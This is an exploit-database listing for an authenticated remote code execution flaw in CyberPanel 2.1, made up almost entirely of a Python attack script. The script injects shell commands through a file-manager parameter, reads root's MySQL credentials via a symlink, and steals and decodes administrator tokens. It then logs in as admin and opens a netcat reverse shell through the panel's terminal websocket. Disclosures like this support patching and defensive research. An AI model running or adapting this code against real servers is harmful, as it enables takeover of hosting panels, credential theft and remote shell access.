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CyberPanel 2.1 Remote Code Execution

🗓️ 27 Aug 2021 00:00:00Reported by numan turleType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 318 Views

CyberPanel 2.1 Remote Code Execution (RCE) (Authenticated) vulnerability allows an attacker to execute arbitrary commands via a crafted request to the API

Code
`# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)  
# Date: 27.08.2021  
# Author: Numan Türle  
# Vendor Homepage: https://cyberpanel.net/  
# Software Link: https://github.com/usmannasir/cyberpanel  
# Version: <=2.1  
# https://www.youtube.com/watch?v=J_8iLELVgkE  
  
  
#!/usr/bin/python3  
# -*- coding: utf-8 -*-  
# CyberPanel - Remote Code Execution (Authenticated)  
# author: twitter.com/numanturle  
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]  
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password  
  
  
import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
from cmd import Cmd  
  
warnings.simplefilter('ignore',InsecureRequestWarning)  
  
def init():  
parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')  
parser.add_argument('-u','--host',help='Host', type=str, required=True)  
parser.add_argument('-l', '--login',help='Username', type=str, required=True)  
parser.add_argument('-p', '--password',help='Password', type=str, required=True)  
parser.add_argument('-f', '--file',help='File', type=str)  
args = parser.parse_args()  
exploit(args)  
  
def exploit(args):  
def on_open(ws):  
verifyPath,socket_password  
print("[+] Socket connection successful")  
print("[+] Trying a reverse connection")  
ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}}))  
ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password}))  
ws.close()  
  
def on_close(ws, close_status_code, close_msg):  
print("[+] Successful")  
print("[!] Disconnect from socket")  
  
  
session = requests.Session()  
target = "https://{}:8090".format(args.host)  
username = args.login  
password = args.password  
  
print("[+] Target {}".format(target))  
  
response = session.get(target, verify=False)  
session_hand = session.cookies.get_dict()  
token = session_hand["csrftoken"]  
  
print("[+] Token {}".format(token))  
  
headers = {  
'X-Csrftoken': token,  
'Cookie': 'csrftoken={}'.format(token),  
'Referer': target  
}  
  
login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"})  
login_json = json.loads(login.content)  
  
if login_json["loginStatus"]:  
session_hand_login = session.cookies.get_dict()  
  
print("[+] Login Success")  
print("[+] Send request fetch websites list")  
  
headers = {  
'X-Csrftoken': session_hand_login["csrftoken"],  
'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),  
'Referer': target  
}  
  
feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10})  
feth_weblist_json = json.loads(feth_weblist.content)  
  
if feth_weblist_json["data"]:  
  
weblist_json = json.loads(feth_weblist_json["data"])  
domain = weblist_json[0]["domain"]  
domain_folder = "/home/{}".format(domain)  
  
print("[+] Successfully {} selected".format(domain))  
print("[+] Creating ssh pub")  
  
remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1})  
create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})  
create_ssh_json = json.loads(create_ssh.content)  
  
if create_ssh_json["status"]:  
key = create_ssh_json["deploymentKey"]  
  
print("[+] Key : {}".format(key))  
  
explode_key = key.split()  
explode_username = explode_key[-1].split("@")  
  
if explode_username[0]:  
username = explode_username[0]  
hostname = explode_username[1]  
  
print("[+] {} username selected".format(username))  
print("[+] Preparing for symlink attack")  
print("[+] Attempting symlink attack with user-level command execution vulnerability #1")  
  
target_file = args.file  
if not target_file:  
target_file = "/root/.my.cnf"  
domain_folder_ssh = "{}/.ssh".format(domain_folder)  
command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username)  
completeStartingPath = "{}';{};'".format(domain_folder,command)  
  
#filemanager/controller - completeStartingPath - command execution vulnerability  
  
symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})  
symlink_json = json.loads(symlink.content)  
  
if symlink_json["status"]:  
print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))  
  
read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)})  
read_file_json = json.loads(read_file.content)  
read_file = read_file_json["deploymentKey"]  
if not args.file:  
print("-----------------------------------")  
print(read_file.strip())  
print("-----------------------------------")  
  
mysql_password = re.findall('password=\"(.*?)\"',read_file)[0]  
steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder)  
  
print("[+] Fetching users tokens")  
  
completeStartingPath = "{}';{}".format(domain_folder,steal_token)  
steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain})  
token_file = domain_folder+"/token.txt"  
steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain})  
leak = json.loads(steal_token_read_request.content)  
leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:]  
print("------------------------------")  
for user in leak:  
b64de = base64.b64decode(user).decode('utf-8')  
exp_username = b64de.split(":")  
if exp_username[0] == "admin":  
admin_password = exp_username[1]  
print("[+] " + b64de)  
print("------------------------------")  
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")  
print("[+] Try login admin")  
  
headers = {  
'X-Csrftoken': token,  
'Cookie': 'csrftoken={}'.format(token),  
'Referer': target  
}  
login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"})  
login_json = json.loads(login_admin.content)  
if login_json["loginStatus"]:  
session_hand_login = session.cookies.get_dict()  
  
print("[+] 4dm1n_l061n_5ucc355")  
print("[+] c0nn3c71n6_70_73rm1n4l")  
headers = {  
'X-Csrftoken': session_hand_login["csrftoken"],  
'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]),  
'Referer': target  
}  
  
get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False)  
verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1]  
socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1]  
print("[+] verifyPath {}".format(verifyPath))  
print("[+] socketPassword {}".format(socket_password))  
print("[+] Trying to connect to socket")  
ws = websocket.WebSocketApp("wss://{}:5678".format(args.host),  
on_open=on_open,  
on_close=on_close)  
ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})  
  
else:  
print("[-] Auto admin login failed")  
else:  
print(read_file)  
else:  
print("[-] Unexpected")  
else:  
print("[-] Username selected failed")  
else:  
print("[-] Fail ssh pub")  
else:  
print("[-] List error")  
else:  
print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"]))  
  
if __name__ == "__main__":  
init()  
  
  
`

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